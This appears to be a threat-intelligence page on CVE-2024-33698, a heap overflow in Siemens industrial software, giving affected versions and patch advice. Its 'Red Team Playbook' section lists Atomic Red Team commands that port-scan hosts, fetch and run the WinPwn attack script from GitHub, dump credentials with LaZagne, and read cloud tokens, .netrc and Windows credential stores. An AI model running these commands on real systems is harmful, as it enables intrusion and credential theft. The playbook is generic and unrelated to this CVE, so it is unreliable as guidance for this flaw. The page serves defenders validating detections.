CVE-2024-33698
Overview
This vulnerability is a heap-based buffer overflow occurring within the integrated UMC component of multiple Siemens products. The flaw arises from improper handling of memory allocation boundaries during processing of specific input data. The affected component fails to validate input size correctly, leading to overwriting adjacent heap memory regions.
Vulnerability Description
A vulnerability has been identified in Opcenter Quality (All versions < V2406), Opcenter RDnL (All versions < V2410), SIMATIC PCS neo V4.0 (All versions), SIMATIC PCS neo V4.1 (All versions < V4.1 Update 2), SIMATIC PCS neo V5.0 (All versions < V5.0 Update 1), SINEC NMS (All versions), SINEMA Remote Connect Client (All versions < V3.2 SP3), Totally Integrated Automation Portal (TIA Portal) V16 (All versions), Totally Integrated Automation Portal (TIA Portal) V17 (All versions < V17 Update 8), Totally Integrated Automation Portal (TIA Portal) V18 (All versions < V18 Update 5), Totally Integrated Automation Portal (TIA Portal) V19 (All versions < V19 Update 3). Affected products contain a heap-based buffer overflow vulnerability in the integrated UMC component. This could allow an unauthenticated remote attacker to execute arbitrary code.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code on affected systems, potentially gaining full control. No user interaction or authentication is required, and the attack can be performed remotely over the network. This enables compromise of confidentiality, integrity, and availability of the affected systems, including potential disruption of industrial automation processes and unauthorized access to sensitive operational data. The CVSS vector indicates high impact with network attack vector, low complexity, and no privileges or user interaction needed.
Solution
Siemens has released security updates addressing this vulnerability in multiple products as detailed in advisory SSA-039007 (https://cert-portal.siemens.com/productcert/html/ssa-039007.html). Affected users should upgrade to Opcenter Quality version V2406 or later, Opcenter RDnL V2410 or later, SIMATIC PCS neo versions with updates beyond V4.1 Update 2 and V5.0 Update 1, SINEMA Remote Connect Client V3.2 SP3 or later, and TIA Portal versions V17 Update 8, V18 Update 5, and V19 Update 3 or later. Applying these vendor-provided patches is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A critical vulnerability has been identified within several versions of industrial automation and quality management software, specifically involving a heap-based buffer overflow in the integrated UMC component. This type of vulnerability occurs when a program writes more data to a buffer than it can hold, leading to adjacent memory being overwritten. In the context of the affected products, this flaw allows an unauthenticated remote attacker to potentially execute arbitrary code on the target system. The implications of this vulnerability are severe, given the fundamental role these systems play in industrial operations and quality assurance processes.
Attack vectors for exploiting this vulnerability are particularly concerning due to the potential for remote execution without authentication. An attacker could leverage this flaw by sending specially crafted input to the vulnerable software, triggering the buffer overflow. Once successful, the attacker could gain control over the affected system, enabling them to execute malicious code, manipulate processes, or disrupt operations. Scenarios may include taking control of critical industrial processes, leading to unauthorized changes in production, data exfiltration, or even causing physical damage to machinery. The ease of exploitation combined with the lack of authentication requirements significantly increases the risk profile associated with this vulnerability.
The real-world impact of this vulnerability can be profound, particularly for organizations that rely on the affected software for their operational integrity. The potential for arbitrary code execution poses significant business risks, including financial loss, reputational damage, and regulatory repercussions. For industries such as manufacturing, energy, and utilities, a successful attack could lead to production downtime, compromised product quality, and safety hazards. Moreover, the interconnected nature of modern industrial systems means that an attack on one component could have cascading effects across an entire network, amplifying the potential damage.
To address this vulnerability, organizations must implement robust detection and mitigation strategies. Regular software updates and patches are crucial, as the vendors have released updates to remediate the issue in the affected versions. Organizations should prioritize the deployment of these updates to ensure their systems are protected. Additionally, employing intrusion detection systems (IDS) can help identify unusual patterns of behavior that may indicate an attempted exploitation of the vulnerability. Network segmentation is another effective strategy, as it can limit the attack surface and contain potential breaches to isolated segments of the network.
In conclusion, the heap-based buffer overflow vulnerability in the integrated UMC component of various industrial automation and quality management products represents a significant threat to organizations relying on these systems. The ability for an unauthenticated remote attacker to execute arbitrary code underscores the critical need for timely updates, vigilant monitoring, and comprehensive security practices. By understanding the technical details, potential attack vectors, and real-world impacts, organizations can better prepare themselves to defend against this and similar vulnerabilities in the future.
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2024-33698, with new telemetry indicating emerging attempts to exploit this critical vulnerability in Siemens industrial automation and quality management products. Although the overall exploit probability score remains low and stable, the sudden uptick in observed activity signals increased adversary interest and potential reconnaissance or initial exploitation efforts. This shift underscores a growing operational focus on this vulnerability, which could precede more widespread or sophisticated attacks. For defenders, this development elevates the urgency of monitoring network traffic and system logs for indicators consistent with exploitation attempts, as the vulnerability’s remote code execution capability continues to present a high-impact risk. While no new exploit tools or ransomware campaigns have been definitively linked to this vulnerability at this time, the evolving telemetry suggests that threat actors may be actively probing affected environments, thereby increasing the likelihood of successful compromises if mitigations are not rigorously applied. Consequently, the threat level associated with CVE-2024-33698 should be considered heightened due to this emerging activity pattern, warranting enhanced vigilance.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
2 eventsSighting activity recorded
Sighting activity recorded
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-92 | Forced Integer Overflow |
47%
|
High | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-33698 |
| cert-portal.siemens.com |
GitHub CVE
|
https://cert-portal.siemens.com/productcert/html/ssa-039007.html |